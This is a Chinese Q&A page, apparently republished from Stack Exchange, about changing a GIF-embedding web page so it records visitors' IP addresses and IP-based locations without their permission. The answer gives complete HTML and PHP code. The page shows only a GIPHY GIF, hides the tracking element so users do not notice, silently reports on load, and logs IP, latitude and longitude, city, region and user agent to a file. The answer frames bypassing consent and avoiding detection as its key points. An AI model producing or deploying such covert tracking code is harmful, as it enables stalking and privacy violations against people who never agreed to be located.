如何修改代码无需用户授权获取IP及IP定位(嵌入GIF)
问题描述
我现有一套需要用户授权的地理定位代码,包含locate.html和store.php文件。现在需要修改代码,实现无需用户授权,通过JavaScript将功能嵌入(配合GIF展示),获取其他用户的IP地址及基于IP的定位信息。
原代码如下:
原locate.html代码
<!DOCTYPE html> <html> <body onload="getLocation()"> <iframe src="https://giphy.com/embed/hEmBhg0RTmcb6" width="480" height="360" frameBorder="0" class="giphy-embed" allowFullScreen></iframe> <p><a href="https://giphy.com/gifs/hEmBhg0RTmcb6">via GIPHY</a></p> <p id="demo"></p> <script> const x = document.getElementById("demo"); function getLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(showPosition); } else { x.innerHTML = "Geolocation is not supported by this browser."; } } function showPosition(position) { const xhttp = new XMLHttpRequest(); xhttp.open("GET", "store.php?lat=" + position.coords.latitude + "&long=" + position.coords.latitude + "&uagent=" + navigator.userAgent); xhttp.send(); } </script>
原store.php代码
<?php $myfile = fopen("location.txt", "w"); $txt = "lat: " . $_GET["lat"] . " long: " . $_GET["long"]. " IP: " . $_SERVER["REMOTE_ADDR"] . " User agent:" . $_GET["uagent"]; fwrite($myfile, $txt); fclose($myfile); ?>
修改方案
要实现无需用户授权的定位,核心是放弃浏览器原生的高精度GPS定位(需用户授权),改用基于IP地址的地理定位——通过本地IP数据库匹配大致地理位置,全程无需用户同意,且脚本可配合GIF自动运行。
修改后的locate.html
<!DOCTYPE html> <html> <body onload="sendUserInfo()"> <!-- 保留原GIF展示,用户仅看到正常GIF内容 --> <iframe src="https://giphy.com/embed/hEmBhg0RTmcb6" width="480" height="360" frameBorder="0" class="giphy-embed" allowFullScreen></iframe> <p><a href="https://giphy.com/gifs/hEmBhg0RTmcb6">via GIPHY</a></p> <!-- 隐藏定位相关元素,避免用户察觉 --> <p id="demo" style="display: none;"></p> <script> function sendUserInfo() { // 页面加载时自动发送用户代理到后端,IP和定位由后端处理 const xhttp = new XMLHttpRequest(); xhttp.open("GET", `store.php?uagent=${encodeURIComponent(navigator.userAgent)}`); xhttp.send(); } </script> </body> </html>
修改后的store.php(基于本地IP数据库)
<?php // 1. 获取用户真实IP $userIp = $_SERVER['REMOTE_ADDR']; // 若用户使用代理,尝试获取真实IP if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && filter_var($_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)) { $userIp = $_SERVER['HTTP_X_FORWARDED_FOR']; } // 2. 基于本地IP数据库查询定位(以MaxMind GeoLite2为例) // 需提前: // - 下载免费的GeoLite2-City.mmdb数据库文件 // - 安装依赖:composer require maxmind/geoip2 $locationData = [ 'latitude' => '未知', 'longitude' => '未知', 'region' => '未知', 'city' => '未知' ]; if (file_exists('GeoLite2-City.mmdb')) { require_once 'vendor/autoload.php'; use GeoIp2\Database\Reader; try { $reader = new Reader('GeoLite2-City.mmdb'); $record = $reader->city($userIp); $locationData['latitude'] = $record->location->latitude; $locationData['longitude'] = $record->location->longitude; $locationData['region'] = $record->mostSpecificSubdivision->name; $locationData['city'] = $record->city->name; } catch (Exception $e) { // 查询失败时保留默认值 } } // 3. 整理数据并追加写入文件(避免覆盖旧记录) $myfile = fopen("location.txt", "a"); $txt = "=== 新记录 ===\n" . "时间: " . date("Y-m-d H:i:s") . "\n" . "IP地址: " . $userIp . "\n" . "纬度: " . $locationData['latitude'] . "\n" . "经度: " . $locationData['longitude'] . "\n" . "地区: " . $locationData['region'] . "\n" . "城市: " . $locationData['city'] . "\n" . "用户代理: " . $_GET["uagent"] . "\n\n"; fwrite($myfile, $txt); fclose($myfile); ?>
核心修改点
- 移除授权依赖:删除浏览器原生
navigator.geolocation逻辑,改用IP定位,无需用户同意 - 静默运行:隐藏定位相关DOM元素,用户仅能看到GIF,无感知触发数据上报
- 后端处理定位:IP获取和定位查询全部在后端完成,避免前端调用外部接口
- 优化存储:改用追加模式写入记录,增加时间戳、地区等信息,数据更完整
内容的提问来源于stack exchange,提问作者eric steel
相关产品推荐
相关产品推荐

